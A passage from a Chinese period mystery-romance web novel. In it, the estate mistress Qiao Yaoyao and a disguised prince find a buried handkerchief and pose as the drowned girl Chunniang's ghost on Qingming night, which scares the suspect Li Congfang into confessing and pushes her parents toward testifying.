“他们说春娘是刘家夫妇老来得子,在此之前刘家还有个儿子,不过年岁小让人贩子拐了去,后来一直没有孩子,临老临老捡了春娘。”
沉月惊讶,“春娘是捡的?”
李嬷嬷点头,“那几个婆子说是,不过他们都是碎嘴的,和刘家不合,说出来不一定能信,这庄子上大部分都说春娘是亲生的,没几个那样说。”
乔杳杳问,“为什么不合?”
“无非是庄子上点事,来回又是邻居,难免有些摩擦不愉快的地方。”
“还有几个婆子碰到了吴管事的夫人嚼舌根说她和李管事夫人长得像命却不一样,性子也大相径庭,一个天上一个地下……”
姚淮序已经饿了,可乔杳杳的发髻还没梳好,他坐在书案旁盯着院中落下的阳光发愣,想起昨天晚上乔杳杳哭了半宿的事情。
白日里见了尸体瞧着没事,一到晚上原形毕露,睡着以后竟然说梦话,刚开始只是叫“母亲”,后面是“阿姐”,接着就开始哭,
姚淮序以为是怎么着了凑近一瞧,乔杳杳脸上挂着泪、红着鼻子。
大抵还梦见了小时候被拐,不知把他的手当做什么,死死抱着不撒,姑娘哭得可怜,干脆他就躺在了床上,任由她抱,
姚淮序叹口气,本就睡得晚,又闹到三更才消停,今早一起来和个没事人而且好像什么都忘了,就记得那算数。
乔杳杳想着李嬷嬷的话,从镜子里看见姚淮序又在发呆,于是喊道,“姐姐,又在发什么呆?”
姚淮序回神,目光看向桌子,又移开看她,装成淑女浅浅一笑,跟刚才逗弄乔杳杳的判若两人。
乔杳杳看她这副淑女样子心里好笑,“姐姐是不是饿了?那咱们快些开饭吧。”
沉月和李嬷嬷应声出去准备。
吃过早膳乔杳杳还要去刘家,于伯早就吃过早膳回郡城去通知乔府,得到下午才能回来,只有李嬷嬷沉月和姚淮序同她一起去。
李嬷嬷问,“怎么还要去?昨儿不是看过春娘的尸体了吗?说到这个,小姐可有梦魇,之前白日受了惊吓小姐晚上都要梦魇,昨晚我和沉月担心许久也没听见小姐叫人。”
乔杳杳耳根不自觉发红发烫,“没有。快走吧嬷嬷。”
李嬷嬷疑惑看向姚淮序,姚淮序看着乔杳杳红透的耳根,弯唇也表示没有。
“嬷嬷,我突然想起来,你让于伯再定制一张侧榻放屋子里吧。”
李嬷嬷应道,也是,不能总是让苏小姐睡地铺,和她跟沉月挤更不像话。
是个阴天,到了刘家,刘氏夫妇出门相迎,又惊又恐,正堂摆上了棺材,回要从这里发丧,刘氏请乔杳杳去偏堂歇息,乔杳杳婉拒。
两人老来得子,又是独女,那刘母已经哭得眼睛肿成核桃,这样也不说吗?
李嬷嬷上前握住刘氏的手,亲切道“刘嫂,我们家小姐在这里,有什么难处你尽管说。”
刘母两眼又往出流眼泪,瞧了瞧自己丈夫,欲言又止,只是一味摇头,什么都不肯说,
刘父哽咽道,“多谢小姐好意,昨日于伯来已经帮了许多,万万不敢在麻烦小姐。”
这是拒绝,乔杳杳索性没再往前走,就站在院子里,一眼看到那花圃,转头问道,
“既是如此,我便不再叨扰,但前几日我阿序姐姐碰到春娘时她答应送姐姐两支三月春,即是许诺便该还诺,可又出了这件事,我姐姐日夜不安总觉得要取来这两支三月春她和春娘的事才有了解,想春娘在天上也是愿意遵守诺言的,不然事没兑现变成一个毁诺之人,春娘怕是不大高兴。”
刘氏夫妇对视一眼,不过是个花,便点头应道,
“不过是花,既然小姐和我家春娘有约自是应该守诺,我挖了这花送与苏小姐。”
沉月上前拦住,“不必劳烦刘伯,这等小事我做就好。”
这是之前商量好的,并非真要挖花,而是看看那花圃里埋着的东西。
乔杳杳昨天晚上想起刘家院子里的那个花圃,总觉得哪里怪怪的,后来猛然记起她在墙上看到那花圃中间少一块儿,中间是空的,什么都没有,平日里平看着根本看不出来,必有古怪。
沉月拿着小锄子走到当中,果然如她家小姐所说,有一块儿空地,装模作样挖了一会儿竟然挖出一块儿丝帕,心下惊然,不动声色拿自己的包住,又挖了两支三月春放在里面包上,接着把土填回去。
“小姐,挖好了。”
乔杳杳点头,“可是三月春?别的我姐姐可不要。”
姚淮序瞥她,没说什么,眉尾上扬。
沉月道,“确是三月春,苏小姐和小姐大可放心。”
这是有发现,乔杳杳不动声色寻了由头就说回去,李嬷嬷极有眼色,和刘氏夫妇告别。
帕子放在院子石桌上摊开,露出两支三月春,底下又是一条帕子,依稀可辨是墨色。
乔杳杳垫着自己手帕拎起,抖落上面的土,左右翻看,“春娘为什么要埋这么一条帕子?”
“情郎?私仇?”
她看向姚淮序,姚淮序心有计较却摇了摇头表示不知道。
“元娘!”
乔杳杳朝门口望去,是他二哥来了!
“哥哥!”
乔杳杳跑去,又在乔青松面前蹦来蹦去来回晃,乔青松扶住她,“好啦好啦,我要让你这个调皮蛋晃晕了。”
乔杳杳笑着去挽他胳膊,问道,“二哥怎么来了?”
乔青松见院子里还有人,倒是没先回答她,反倒先向姚淮序行礼,
“这位便是苏小姐吧,曾听于伯说起,我这妹妹性子顽皮些,还请苏小姐见谅。”
“哥哥!"
姚淮序眉角上扬,端着身子,微笑行礼。
乔青松早就知道姚淮序不会说话,并不在意,接着问道,“不知苏小姐在这小院住的可好?家母有心相邀苏小姐到乔府小住,不知苏小姐可愿意?”
乔杳杳挽上自己哥哥的胳膊去看姚淮序,姚淮序摆手摇摇头,指指乔杳杳又指指自己,最后再指指他背后的屋子。
心想,这真的是自己能做出来的动作吗?
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>意思是我和乔杳杳住在这里很高兴。
乔青松早就料到是这个结果,于是笑着道,“既然如此,家母也嘱咐不要强求。于伯,把榻给搬进屋子里去吧。”他扭回来对姚淮序道,
“元娘这屋子小,住两位姑娘有些勉强,于是我又额外准备了一张床,如此你们两人便可不用再挤一张床。”
于伯和李嬷嬷压根没说乔杳杳让姚淮序打地铺,说了让乔府知道三小姐又要挨板子,出于私心便没说。
“二哥,你和我真心有灵犀!”她早上还想这件事,乔青松眉尾上挑,不经意露出三分得意,接着道,
“再熬些时日,苏小姐可以和元娘一同回府。”
姚淮序身架端的极好,点头答应表示谢意,乔杳杳歪着脑袋问,“哥哥,哥哥,到我了吧!你怎么来了?你还没说你为什么来?母亲让你来的吗?”
她又蹦又跳很是活泼,今日穿翠色交领蝴蝶群,梳着云朵髻,左右两边各两条小辫子,尽显少女欢脱可爱。
乔青松伸手点她脑门,宠溺道,“你呀,安稳些吧。我听说庄子死了人?怎么回事?你没事情吧”
原来是为这个,乔杳杳说没有,顺便把事情原委都讲明白了。
乔青松听了之后略显为难,“刘家夫妇不主动追究,那咱们就算抓到凶手对方拒不承认也没办法,一无证据、二无状告,不好办。最简单的便是息事宁人。”
乔杳杳撇嘴,把给乔青松倒的茶端到自己眼前,“也是,多费力,喝茶还需要用手端,我看这茶也不用喝了。”
乔青松哭笑不得,伸手抢回来,姚淮序端起茶盏掩饰性地喝了两口,看着这两人打闹。
“我说最简单的是息事宁人又没说咱们要息事宁人,事情出在咱家庄子上定然是要弄个清楚,干干净净。”
她这二哥最有主意,鬼点子也最多。
“二哥有什么好办法?”乔杳杳眼巴巴盯着自家哥哥。
乔青松胡乱看了姚淮序一眼,不自然地咳了咳,跟他妹妹说是一回事,这里还有一个外人,叫人家听去自己教妹妹装神弄鬼是个什么事。
乔杳杳随意摆手道,“阿序姐姐才不怕,还会翻墙,你可不要小瞧她。而且阿序姐姐算数极好!”
乔青松挑眉,问,“比你还好吗?”
“诶呀,重点不是这个,重点是姐姐完全没问题。”
姚淮序配合地点点头,乔青松招手让他们靠近,略微有些不自然道,
“元娘一死,最高兴的便是幕后真凶。这不是有帕子吗?拿去问一圈看看是谁的帕子,知道后再扮做春娘让他自己说出来。直接问肯定是不行,这种人就得吓。”
乔杳杳竖起大拇指郑重道,“二哥,不愧是你,这么损的也只有你想出来了。”
乔青松顾及着外人在不好意思拆穿乔杳杳,他知道乔杳杳肯定也想这么干,不过让他先说了出来,他俩是龙凤胎的兄妹,乔杳杳想什么他怎么可能不知道。
“好了,知道怎么做你就放手去做吧。”
乔杳杳呛了一下,乔青松给她拍背,“着什么急?”
“不是,你来不是为了来帮我的吗?”
“我不是给你想了主意了吗?”
“没有你我也能想出来好吧,你就不打算留在这里帮我找到真凶?”
乔青松收回来手,一本正经道,“母亲可没说还有这个事。”
“你是不是我亲哥?你们一个两个的都不担心我的吗?合着我还不如一个她?”她指的是姚淮序。
姚淮序没想到还有自己的事,一愣,乔青松拍掉妹妹的手,“不要拿手指人,不好。你先查吧,遇到什么难处我再帮你,
元娘,刚开始你就不行以后怎么办?连三个管事都收拾不了,不行啊你,今年你的压岁钱干脆也交给我好了,我替你保管。”
乔杳杳反驳,“做梦!”
“管不好就早点回家~”乔青松说的理所当然。
“乔天成!我告诉阿姐你欺负我!”
“你老搬阿姐出来压人做什么?讲点道理,还有,叫哥哥,没规矩。”
他拿手指弹乔杳杳脑袋,笑道,“好了,别闹了,我给你带了核桃酥,在马车上你跟我去拿来吧。”
随着二人出去院子中一阵哨声响起,这哨声模仿喜鹊叫声所做,不仔细分辨根本听不出来。
姚淮序不动声色四下打量,桃肆来了?
11. 扮鬼
乔杳杳愤愤剜他一眼,顶着两个小辫子出门坐在马车上。
旁人都知道二少爷和小姐有话要说自然不去凑热闹,姚淮序也没听墙角的爱好。
乔青松后上马车,看见自家三妹妹已经吃上了核桃糕,伸手给她拂去嘴角碎渣。
“府上出了什么事?”乔杳杳嘴里嚼着核桃糕随意问道。
乔青松收起了在外面吊儿郎当的模样,有些严肃,“陛下和草原定下姻亲让一位公主嫁去草原,定下了五年边界互不骚扰的约定。”
“这和乔家有什么关系?”
乔青松叹口气,“关系大了,盛京派一位方大人送亲,路过咱们北郡,带来了圣旨。”
“圣旨?!”
乔青松连忙捂住自己妹妹的嘴,示意她小声点,乔杳杳扒下哥哥的手,低声问,“陛下是什么意思?”
“无非是写夸赞的俗文,还有,陛下派方大人查看父亲功绩,说将来封侯拜相有个凭借。”
乔杳杳蹙眉,“封侯拜相若是能父亲早就封了侯爷,还用等到现在?盛京……这是要查乔家的?可乔家行得正坐得直又什么可查?自祖父以来乔家世代忠勇,阿姐更是入了军营,有什么好查的?”
“自是不怕,可他一来不少底下的官员攀附,都想给父亲添麻烦,自己捞点好处。那位和亲的公主还说,要在北郡呆两天,出了北郡便一路向北再也看不见故国风光了。我看这方大人不是查功绩,是来听风声来的,盛京忌惮北郡放在了明面上,哪天父亲一个不留神便合了他们的意。”
乔杳杳拍软垫,“荒唐!”
“好了,君臣之间本就这样,更何况乔家驻守的北郡更是关中重要关隘,盛京的算盘打得不是一天两天的了,巴不得换个更顺心顺意的人。
昨儿就听说庄子上出了人命,母亲和父亲本想把你接回去亲自处理,但那两位恰巧来了,母亲便称你在庄子上养病。
庄子上那位身份也特殊,你俩就在庄子上呆些时日等风头过去再说吧。乔府上下忙着对付盛京那两位就够头疼,阿姐在军营里更是艰难,本就是女子争议多,现下又起了议论。庄子上这事我本来说留下来帮你,但父亲那边也缺个帮手,元娘,这次真要你一个人了。”
“哥哥好瞧不起元娘,你可忘了我是谁了?”
乔青松被妹妹这副模样逗笑,“没忘,你可是全北郡最让人头疼的女娘。”
“哥哥!”
乔青松笑,“好了,你照顾好自己,我真要走了。别再闹出其他的事情,若实在不行也别勉强,往家里送个信。这核桃酥你带回去给苏小姐也尝一尝。还有,这事情了了母亲就要你回去。”
“为什么?”
“自然是为了你安危着想,而且你是女儿家,在府上呆着不好吗?”
乔杳杳又问,“女儿家就要呆在家里吗?我不回去。”
“可能不行。”
乔杳杳不高兴,“为什么?那阿姐就可以在军营我就不能管庄子?”
乔青松理所当然道,“那是阿姐有本事,自己争来的,你想要自由得凭自己本事换。”
……
乔杳杳领着核桃酥下车,转身回院子叫来于伯吩咐道,
“于伯,你带着帕子去城内布庄问问是哪家的料子,一般什么人买,再打听打听春娘去城内的频率怎样,有没有交好的男子之类。去的时候叫上李嬷嬷,她对于针脚熟悉,能帮上忙。”
于伯诶了一声,乔杳杳把食盒放在石桌子上,“砰”地一声把门关上。
姚淮序从摇椅上睁开眼睛下意识望向正屋,谁又惹了乔三小姐?
乔杳杳烦的时候喜欢过账,她要将庄子管的有条不紊还要盈利,叫母亲和父亲看看她的本事,她才不要呆在家里做被安排的那个。
她有自己的本事,她要能掌控自己做什么的自由,这庄子她肯定能管好!
如今果园开始结桃子了,茶楼早早预订下桃子果脯和糖渍果子,这已经能发展成为田庄上的一个长期生意。
蚕宝宝们已经结好丝,佃户们这两日忙着张罗抽丝,春娘的死大家虽然唏嘘、惋惜,但日子照样得过,日出而作,日落而息,再过两天没什么风声也就淡忘了。
三百亩田地上小麦已经种完,养鸡场养得鸡全部都可以下蛋了,每日下的鸡蛋好几箩筐,日日都挑清晨卖给青园,但青园近来有些压价的意思,可乔杳杳又抽不开身,于伯这两日也忙,暂且等一等,处理完春娘的事再好好找青园谈,青园是哪家的来着?
程家?还是李家?唔,好像是费家费老七的,费老七这个坏心眼的,算了,要是他家的那就先放放。
“小姐,我进来了啊。”沉月敲门。
“进。”
乔杳杳看着沉月挎着一箩筐剪刀黄纸进了屋子。
“拿这些做什么?”
“今个儿是清明,小姐忘了?”
乔杳杳一噎,这两日过的乱一时间还真没想起来,她动了动身子去看院里的那人,也没吃核桃酥就躺在摇椅上,
乔杳杳看了一眼天气,阴天,晒什么太阳。
“阿序姐姐,你进来嘛。”
姚淮序起身,犹豫一瞬拎着食盒进了屋子,一进来就看到书案对面窗户底下的侧榻,不大却做工精巧,他睡也还可以。
他把食盒放在桌子上,乔杳杳放下手里的红珠算盘拆开食盒拿出一块儿核桃酥自己吃起来,往前推了推示意姚淮序也吃,
姚淮序在少女殷切目光下拿起一块,轻咬,没咬动,口感吃起来倒是适合磨牙,满嘴核桃香味。
姚淮序刚才出去见了桃肆,日夜兼程往返两地让桃肆肉眼可见的疲倦,除此之外他还带来了一个令人震惊的消息。
嘉德三十八年草原进犯盛州里面有皇叔的手笔,皇爷爷派出的暗探发现了一张未烧干净的旧纸,廖廖几笔却将沈、乔两家和锦州牵扯在一起。
“乔沈两家事了,别忘承诺,助我一臂之力。”
乔沈两家是什么事?承诺又是什么承诺?这个“我”是皇叔的话这封信又是给谁写的?
姚淮序心知,这将牵扯出一桩陈年大案。他脑子里还回旋着桃肆转达的那句“还请殿下留在北郡查明”措不及防听见乔杳杳的声音。
“李嬷嬷和于伯去了城内今日是回不来了,就我和沉月剪不完这黄纸,今日清明,剪不完可不成的,晚上还要用。春娘今日下葬,若是行动今日时机最好,也要用的。”
姚淮序脑子里那根筋突然跳动一下,真要扮鬼魂?乔杳杳的哥哥乔青松出这么一个主意,也是没脑子吗?难怪两人是兄妹。乔家想来疼爱乔三,怎么不见派人来?
今日……今日是清明……
映照今日节气一般,天色变得更加暗沉,要下雨了似的。
清明时节雨纷纷,路上行人欲断魂。
传说每年上元佳节和清明时分,人间和鬼界会开通一条路,在世的人给不在世的人烧纸钱可以顺着这条路送到那人手里,在阴曹地府、忘川河边便能好过些。
姚淮序点点头,拿起剪刀和黄纸照着沉月手里的纸钱样子一点点剪,乔杳杳时不时偷看两眼。
院子里起风了。
果园的桃花落满地,院子里的梨树新发蕊。
“小姐,凶手真的会来吗?”沉月把火折子递给乔杳杳,乔杳杳把黄纸点着,道,
“我哪儿知道,我又不是他肚子里的蛔虫。”
“啊?那咱们来河边干什么?”沉月一脸沮丧。
天刚蒙蒙黑的时候他们三人就往河边赶,小姐更是拿了一身白色宽大衣袍,沉月知道那是扮鬼用的,不过凶手
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不来怎么办?
“沉月,去盯着点,别让人过来。”
“是,小姐。”
沉月起身把黄纸都放在乔杳杳身边,起身走远些四周察看,以往有什么人,应该不会有什么人来,今日清明大家都在家户门口烧纸送逝人,谁会来呢?
乔杳杳边烧黄纸便道,
“往年都是在祠堂里祭拜,今年出了意外元娘就在这里祭奠各位老祖宗。老祖宗们收到了元娘的黄纸可要保佑乔家年年顺遂,乔家人平平安安。尤其是要保佑元娘的小庄子赚的盆满钵满,不用去读书不用嫁人”
姚淮序站在一旁看着,心想,这是个小财迷。
“今年还有一位朋友陪着我祭奠各位老祖宗,还请各位老祖宗也保佑她平平安安,万事胜意……”
乔杳杳絮絮叨叨地说着,火光映着她的面庞,颇有架势,姚淮序盯着火堆,心思早就飘到了几百里外。
“阿序姐姐,还有些黄纸你烧了吧,我去看看沉月。”
乔杳杳作揖磕了三个头后起身,姚淮序本就是站着,身量比她高些稍稍一低头就看见乔杳杳有些蓬的头发,眼睫长长,一颤一颤的,眼睛里映着火光明亮。
他点点头,蹲下去就着火堆往里扔黄纸,他要像乔杳杳一样说些什么嘛?他不知道说些什么,于是下意识扭头回去看乔杳杳,她早就站在沉月身边离他有些距离了,这是,留给他的吗?
姚淮序笑了,浑身放松下来,把黄纸一张一张递进火堆里,好多天没说话一时间张口竟然没说出来,他停了一下,小声道,
“父亲,母亲,还有舅舅、舅母,今日我借花献佛给你们送些……黄纸,再厚着脸皮跟你们讨些好处。
凶手皇爷爷和我一定会抓住严厉惩治,以抚慰你们的在天之灵,皇爷爷治国理政辛苦,还请你们保佑他身体康健,锦州风调雨顺,国泰民安,河清海晏。”
他顿了一下接着道,
“这些时日我借助在乔家的庄子上,乔家三娘是个好人,虽然骄纵蛮横些不过心地善良又聪明能干,希望你们也保佑她顺遂如此一来我心安些,不管日后查出来,一码归一码,平白欠了她乔家的人情相信你们也过意不去。
还请你们多多保佑阿序,早日为你们平反,真相大白。”
既然她心里为苏清序许了愿,那苏清序也合该让先人照料着她些,姚淮序就是这么想的,如此一来,方才公平。
况且他的先人们,从来都是说一不二,信守承诺之人。
“阿序姐姐,快走!”
乔杳杳刻意压着嗓音喊他,牵着他的手就往河上游跑,跑到林子旁边,从沉月的包袱里掏出宽大的衣袍套在自己身上,姚淮序发髻微乱看着她把自己的钗子花戎一股脑全卸下来扔进自己手里。
“来人了,我这样行吗?”
乔杳杳把头发全批下来,白色衣袍宽大,夜风一吹更是猎猎作响。
姚淮序赞同的点点头。
乔杳杳又伸手去摘姚淮序的发饰,帮他把头发散开,姚淮序一开始不知道为什么要拆他的,瞥见旁边还有一件白袍子瞬间了然,配合着着她把头发全散下来。
解铃还需系铃人,要想弄清楚皇叔和谁有交易,乔沈两家在里面又扮演了什么角色,目前最好的契机便是乔家,瞌睡了就有枕头来,从乔元娘入手好了。
今晚没月亮,可乔杳杳的眼睛是亮的
“姐姐,你很漂亮。”
姚淮序嘴角上扬,还没来得及高兴就听见乔杳杳的嘴巴里说出来一句冰冷的话,
“所以你去引诱李从方吧。”
话说完她就往来时方向小跑,跑了两步又停下来,双手下垂恍恍荡荡“飘”过去,远远一看真有些鬼魂的样子。
姚淮序嘴角抽搐,乔家怎么养出来这么好玩儿的女娘?
12. 皆应沉冤得雪,还万世太平
李从方喝醉了酒,本来是跟着一个漂亮姑娘,结果跟着跟着就到了河边,转眼没了人影,清醒三分看清地方后骂了一声晦气,本打算扭头就走结果看见了纸灰,怎么会有人在河边烧纸?
他将袖子一拂嫌弃晦气骂骂咧咧打算回家,突然隔着些距离出现了一个女子,披头散发。李从方酒壮怂人胆,朝着那人喊了一声,
“来者何人?”
姚淮序不说话,站在那出任由风把头发扬起,袍子狂响。
乔杳杳在姚淮序背后开始抽泣,声音越来越大,越来越尖锐。
李从方咯噔一下,七分的酒醒了五分,连爬带滚的往家跑,乔杳杳怎么可能让人走了,于是阴恻恻道,
“你若是头也不回地走了,我便将你留下来,一辈子留在这里陪我,陪—我—”
李从方充耳不闻一味地跑,忽然眼前装上了一个人,低头一看,女子的绣花鞋,白色衣袍,本就害怕的他更是心如擂鼓。
声音都是颤的,不如刚才从容,“你……你是谁?”
对方不说话,乔杳杳也追了上来,隔着不近不远的距离道,“郎君,你不认得我了吗?他日你说和我情比金坚,两情相悦,怎么如今见到我就避如蛇蝎?是你……外面有了新人?”
“我没有!你胡说!我怎么可能是你的郎君!你认错人了!”
李从方踉跄着爬起身,乔杳杳道,“怎么可能认错人了?你不记得我了吗?我是刘家春娘啊。”
平地炸雷一般惊响,闪电自天边一闪而过,紧跟着轰隆隆的雷声。
李从方从头僵到尾,一动不敢动。
“你……你认错人了,我…我求你放过我。我求求你了。”
他跪下向乔杳杳不住的磕头,乔杳杳状似疑惑,故意问道,“难道不是你害的我吗?我清清楚楚记得你的脸!你不喜欢我了吗郎君?”
最后一句声音陡然变得尖锐带着无尽怒意,“你下来陪我吧!”
“不是我,不是我,我不是故意的,我不是故意的,求求你,求求你,放过我,我求求你……”
李从方一个劲儿的磕头,嘴里念叨着,“我不是故意的,我不是故意的,求你放过我吧,我我给你所有的钱财,我……我愿意那任何东西跟你换,求求你别要我的命,求你放过我。”
乔杳杳和姚淮序对视一眼,皆沉默不语,天上开始飘雨丝,细如牛毛,乔杳杳低头靠近,李从方还在磕头哀求,姚淮序趁乔杳杳不注意伸手把李从方打晕。
乔杳杳听见人倒地的声音抬头一看,“晕了?”
姚淮序点点头。
乔杳杳冷笑一声道,“没用的蠢货,李管事真是养了个好儿子!”
她伸手去摸李从方,姚淮序眼疾手快抓住她手腕。
???
姚淮序轻吸鼻子,自己摸起来。
乔杳杳眨巴两下眼睛,看来阿序姐姐……
姚淮序上摸摸下摸摸从李从方身上摸出一条帕子,帕子的材质和春娘埋的一模一样,还发现他手背上有抓痕,想是和春娘纠缠中被春娘抓伤的,乔杳杳愤恨又踢了地上人两脚,依旧不解气。
姚淮序拉起乔杳杳的手,在她手心写道,“刘”。
乔杳杳冷静下来,认真分析道,“只有物证没有人证便不是万无一失,我要让李从方送进衙门,恶徒就应该被绳之以法,天理昭昭,世间自有公平。”
她抬头盯着姚淮序的眼睛,不容动摇,“凡作恶之人合该下十八层地狱,不入轮回;凡所有冤案皆应沉冤得雪,还万世太平。”
姚淮序望进她的眼睛里,好一句“天理昭昭,世间自有公平”,好一句“皆应沉冤得雪,还万世太平”。
乔元娘,我和你,这是第二个秘密。
沉月把两人卸下的珠钗裹进包袱里背在背上,瞧见两人小跑迎上去,顿了一下伸手给乔杳杳整理头发,一头青丝自然而然垂下,空气中还有头油香味。
“小姐,你扮得好真,小姐好厉害。”
乔杳杳把帕子递给沉月,骄傲道,“这算什么?还没抹粉,小时候二哥让我吓得屁滚尿流那次你忘记啦?我的真本事还没有发挥出十分之一。”
想到姚淮序还在身旁,乔杳杳给自家哥哥找补,
“阿序姐姐,我二哥胆子也很大,只是我太厉害了,他读书好、脑子好、性子也特别好,北郡不少家姑娘都想嫁给他,虽然他今年和我同岁,但是已经可以定亲了……”
乔杳杳心想,把苏清序介绍给自家哥哥也好,苏清序做她嫂嫂也不是不可以。
“小姐,这个帕子!”
乔杳杳正经起来,若有所思,“是李从方,但咱们没有人证,去一趟刘家看看这刘家夫妇愿不愿意作证。”
沉月为难,“可小姐不是已经去过吗?现在下雨了也,不回小院儿吗?那刘家夫妇虽然没明说但瞧着犹犹豫豫没这个意思。”
“让春娘去问。”
“那刘家夫妇年岁不小,给人吓出毛病怎么办!”沉月又惊又恐。
“放心,我有分寸。走吧,沉月。”
乔杳杳自然而然牵起姚淮序的手往果园方向走,头发还披散着也没打理,时不时她还要用另一只手把雨丝打乱的头发丝拢一拢。
“阿序姐姐,你这手好暖,怪怪的,有点像小时候牵着我二哥手似的。”
姚淮序忙往回抽,乔杳杳一把握住,“我不是那个意思,我阿姐手牵起来也是这个感觉。”
她不是说她手像个男人,她不是这个意思。
月亮被乌云挡住,天空里下着小雨,少女穿着白色衣袍散着头发,朝他呲牙一笑,活脱脱一个小鬼,姚淮序像是让吓的,浑身不自然。
沉月跟着两只“白鬼”飘荡到刘家,乔杳杳又想去爬墙让姚淮序一把拎到刘家门口处,示意她敲门。
“阿序姐姐,你劲儿还挺大的,和我阿姐一样。”接着乔杳杳眯着眼睛凑近一看,小声问,“有那么冷吗?耳朵都冻红。”
姚淮序咯噔一下,所以力气是大还是小?
她伸手去摸姚淮序的耳垂,姚淮序紧跟着后退两步避开,顾不上端姿态,略显局促,示意她快点敲门。
“噢。”
“咚——咚——咚——”
院子里点上灯有了动静,刘父边喊道边开门,“谁啊?”
“父亲——你怎么把春娘关在门外?春娘进不去了,春娘好害怕。”
“咚——咚——咚——”
“父亲——求你给春娘开开门。”
“老头子,怎么不开门?”刘母披着衣服也出门来,只看见她丈夫僵着身子一动不动,她听到门外那人喊,
“母亲——求你给春娘开开门。”
乔杳杳看不见院子里刘氏夫妇表情,只听见一阵踉跄和门关上的声音。
陆陆续续旁边邻家也听到了动静纷纷点灯开门查看,姚淮序和沉月拖着乔杳杳连忙爬墙进了刘家院子。
姚淮序看沉月一眼,沉月把手伸出来给他借力,就感觉沉一下姚淮序就翻进刘家院子了。
沉月躲在不远处树下,心想,苏小姐比小姐轻这么多吗?
邻家开门没有看到人,缩回头关住插上木栓。
乔杳杳双手合十默念,“事出有因,春娘保佑,事出有因,春娘勿怪。”后抬手敲刘家夫妇在的屋子,
“咚——咚——咚——”
“爹,娘。为什么你们不救春娘呢?春娘在水底好冷好冷~~”
乔杳杳这次故意放慢速度,配着院子里细雨和风,风一吹凉意挟裹住院子里的人,她下意识打冷颤声音跟着抖了一下,更加吓人了。
“为什么你们不愿意为春娘作证?春娘与爹娘阴阳两隔,凭什么李从方依旧能逍遥快活呢?爹——娘——女儿还不甘心!”
起初屋子里只有小声啜泣,姚淮序坏心眼在窗户上捅破几个洞,风顺着洞吹灭屋子里点的灯,啜泣声越来越大,越来越大,刘母哭腔着声音回话,
“春娘,是母亲对不住你啊——”
门外的乔杳杳也发出两声啜泣,继续质问,“母亲为什么不愿意作证,为什么不状告公堂,春娘死的怨啊!”
“春娘——”
乔杳杳点到为止,起身和姚淮序爬梯子出了院子,雨打湿了两人的脸颊和衣裳,乔杳杳说,“回去吧。”
刘氏夫妇在屋里哭了许久,只能听到风声携裹着细雨打在院子里的花圃上,簌簌的响,终于刘氏夫妇鼓起勇气道,“春娘,你再让爹娘看你一眼。”
哆哆嗦嗦打开门,只有满院子垂败的三月春。
乔杳杳回了小院儿以后沉月先给她烧了热水,乔杳杳想着邀姚淮序一起,但是姚淮序拒绝了,像是寒风入体,脸颊又红又烫。于是乔杳杳先让他泡澡,心想,练武的这么不耐?
沉月去厨房熬姜汤,姚淮序洗过后换乔杳杳,屋里只隔着一张屏风,实在不是姚淮序想呆在这里,只是他现在是一个女子身份,外面又下着雨,寻一个什么理由他才能不被怀疑正当出去呢?
“苏清序。”
乔杳杳闭上眼睛整个人泡在水里,姚淮序手里翻着乔杳杳的书想找点什么线索,被这么一叫心思全在那句“苏清序”身上了,乔三小姐又要干什么?
她声音略显颓丧,姚淮序听见她浸入水里,水溢出木桶打在地面上的声音,耳根子发烫,之前
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都能寻了理由出去呆着,说起来这还是第一次,实在是很不自在。
他现在不能说话,又怕乔杳杳寻他有什么事,不知道为什么,他怎么就开始在意乔杳杳寻他有没有什么事了呢?或许是因为要查乔家自然得关住她,也或许是因为乔杳杳那“老祖宗也保佑她平平安安、万事胜意”吧。
他敲了敲书案以做回应。
乔杳杳从水里冒出来,手随意划拉,弄出声响,趴在浴桶一边,很久很久,才道,“阿序姐姐,春天要过完了。”
她的声音闷闷的,隐隐约约听见抽鼻子声音。
四月清明,春天要过完了吗?
姚淮序心里叹口气,今日在刘家明摆着乔杳杳是存了私心,心肠太软,若是再狠心些直接把那夫妇吓得愿意公堂作证便可省去一大笔麻烦,现在倒好,忙活一整夜却没个准信。
他翻书的动作顿住,想起乔杳杳好多天没练字,起了心思去看她往日成效,还未拿起便见一团又一团的黑墨落在上面,晕染的痕迹一块儿又一块儿。
这是当画画呢?水墨丹青?姚淮序心想,好好一个姑娘家怎么字这么丑?画的这么难看,四不像,他闭着眼睛都写不成这般模样。
真该给她裱起来挂在床头,日日欣赏。
姚淮序自顾自欣赏乐了一会儿,落笔给乔杳杳写下一篇新字帖。
写到一半乔杳杳裹了中衣出盥洗间,一边系腰上带子一边道,“在写什么?”
发尾及腰,水珠子顺着发梢落在地上,淅淅沥沥落出一条水线。浑身上下散发着洗澡的热气和洗浴完的香,丝丝缕缕自发钻进姚淮序的鼻尖。
姚淮序抬头一瞬立马低下,听见脚步声越来越近头埋得更低。
乔杳杳走进,一看,给她写的字帖,直接伸手团吧团吧胡乱塞在窗户外边,一套动作行云流水,扭头还对姚淮序露出善意的笑。
姚淮序怔怔看着,他全心思在她萦绕自己鼻尖香味,措不及防被抢走宣纸,墨水在白纸上留下长长一道。
他坐靠在椅子里看乔杳杳扔得行云流水,半晌偏头笑了,气笑的。
乔杳杳披着头发凑近,弯腰与他平视,“姐姐在干什么呀?”
姚淮序两腿叠在一起,单手撑在椅背,抬眼看她,似笑非笑,好像在说,你觉得呢?
乔杳杳厚脸皮嘿嘿一笑,伸手去扶椅背,本来想和苏清序挤一张椅子,谁知他如临大敌手掐着她的腰把她推开。
???
两人大眼瞪小眼,面面相觑。
姚淮序手指尖还有少女的体温,久久不退,愈想愈热,径直从指尖热到脖颈,红了一片,少见的慌张,三步并作两步上了侧榻把寝被盖在头顶。
姚淮序活了十几年从来没觉得自己像此刻一样能遇上这么一个无赖,撕字帖就好了,靠那么近干什么????耍流氓,居然想坐在自己腿上!
姚淮序埋在被子里,耳根子发烫,心想,自己给自己找的什么罪受。就这么一个无赖色鬼乔家的大事能和她有什么关系?还是得趁早回北郡乔府里面查。
乔杳杳以为他生气自己扔她写的字帖,趴在侧榻床边,“好姐姐,阿序姐姐,我不是故意的。”
她装无辜,姚淮序恨不得掀了被子盖在她头顶打一顿,可他又不能这么干,默念好女不跟男斗,呸,好男不跟女斗。
乔杳杳是娇气小姐,我是大度君子,我不跟她一边见识,我没事,我不跟她一般见识,她是无赖,没事没事。
乔杳杳撒娇说好话哄了半天也不见姚淮序转过身来好好跟她说话,她生气朝被子奋力一捶,锤完就跑回自己床上盖上被子睡觉。
闭上眼睛喊道,“你明知我不喜欢摹字帖你还写,你就是故意的!我想让你教我算数你都不教!”
